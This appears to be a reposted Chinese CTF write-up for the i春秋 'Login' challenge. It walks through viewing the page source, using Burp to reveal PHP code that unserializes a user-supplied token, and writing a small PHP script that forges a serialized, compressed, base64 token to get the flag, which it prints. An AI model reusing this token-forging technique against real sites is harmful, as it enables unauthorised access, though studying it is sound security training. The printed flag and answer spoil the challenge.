i春秋Login

打开是个很普通的登录网页

查看源码看看有没有东西

找到绿色的提示,可能是账号密码,试试

成功进来了,再右键源码,没东西。。。抓包试试,传repeatergo一下

发现一个奇怪的变量,在request中传入其他值试试

show:1

Go一下,弹出一堆flag获取信息

<?php

include 'common.php';

$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);

class db

{

public $where;

function __wakeup()

{

if(!empty($this->where))

{

$this->select($this->where);

}

}

 

function select($where)

{

$sql = mysql_query('select * from user where '.$where);

return @mysql_fetch_array($sql);

}

}

 

if(isset($requset['token']))

{

$login = unserialize(gzuncompress(base64_decode($requset['token'])));

$db = new db();

$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');

if($login['user'] === 'ichunqiu')

{

echo $flag;

}else if($row['pass'] !== $login['pass']){

echo 'unserialize injection!!';

}else{

echo "(╯‵□′)╯︵┴─┴ ";

}

}else{

header('Location: index.php?error=1');

}

 

?>

大概php代码的意思是,包含common.php文件,将$_GET, $_POST, $_SESSION, $_COOKIE放入一个数组中,再定义了一个类然后是一个if判断,如果$requset['token']存在就执行,在if里面login是是序列化的压缩的($requset['token'])base64解码

dbclass db,然后row的值为dbuser的输入,如果login[‘user’]变量的值与类型等于ichunqiu就输出flag,此外如果row不全等与login[‘pass’]就输出unserialize injection!!,否则输出echo "(╯‵□′)╯┴─┴ ";

所以这里没有什么复杂的判断就让login[‘user’]全等于ichunqiu就行了

login[‘user’]是经过加密的,这里我们就自己写一个解密php就行了

<?php
$a = array('user'=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a
?>

然后在本地运行一下,出现我们需要的user

eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

最后有两种方法传入token的值

一:打开firefox浏览器,使用其cookie editor插件,新增一个cookie,其名为token,其值为上面的一长串,然后保存,刷新

得到flag

flag{f3ac41fd-885a-433a-a6ae-87c25ce3e0d2}

二:使用bp传入

在Proxy中写入cookie的补充值token然后传入repeater,补上show:1,go一下出现flag

注:最近i春秋平台老是出现flag错误的回报,明明是正确的,这里就需要多次尝试,或则重新创建题目

猜你喜欢

转载自www.cnblogs.com/wosun/p/11312812.html